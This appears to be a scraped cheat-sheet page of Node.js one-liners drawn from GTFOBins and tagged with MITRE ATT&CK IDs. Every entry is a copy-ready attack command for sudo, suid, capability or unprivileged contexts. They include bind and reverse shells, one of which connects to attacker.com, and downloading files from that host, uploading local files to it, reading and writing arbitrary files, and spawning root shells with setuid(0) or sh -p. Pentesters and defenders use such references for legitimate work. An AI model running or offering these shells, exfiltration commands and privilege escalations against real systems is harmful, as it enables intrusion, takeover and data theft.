bind-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' copy Contextsudo Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
bind-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' copy Contextsuid Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
bind-shell Reverse/Bind Shell LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' copy Contextunprivileged Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
download File DownloadPrivilege Escalation LinuxmacOS node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))' copy Contextsudo Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/node/
download File DownloadPrivilege Escalation LinuxmacOS node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))' copy Contextsuid Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/node/
download File Download LinuxmacOS node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))' copy Contextunprivileged Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/node/
file-read File ReadPrivilege Escalation LinuxmacOS node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))' copy Contextsudo Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/node/
file-read File ReadPrivilege Escalation LinuxmacOS node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))' copy Contextsuid Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/node/
file-read File Read LinuxmacOS node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))' copy Contextunprivileged Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/node/
file-write File WritePrivilege Escalation LinuxmacOS node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")' copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/node/
file-write File WritePrivilege Escalation LinuxmacOS node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")' copy Contextsuid Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/node/
file-write File Write LinuxmacOS node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")' copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/node/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' copy Contextsudo Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' copy Contextsuid Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
reverse-shell Reverse/Bind Shell LinuxmacOS node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' copy Contextunprivileged Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/node/
shell ExecutionPrivilege Escalation LinuxmacOS node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' copy Contextcapabilities Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/node/
shell ExecutionPrivilege Escalation LinuxmacOS node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/node/
shell ExecutionPrivilege Escalation LinuxmacOS node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/node/
shell Execution LinuxmacOS node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/node/
upload File UploadPrivilege Escalation LinuxmacOS node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))' copy Contextsudo Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/node/
upload File UploadPrivilege Escalation LinuxmacOS node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))' copy Contextsuid Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/node/
upload File Upload LinuxmacOS node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))' copy Contextunprivileged Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/node/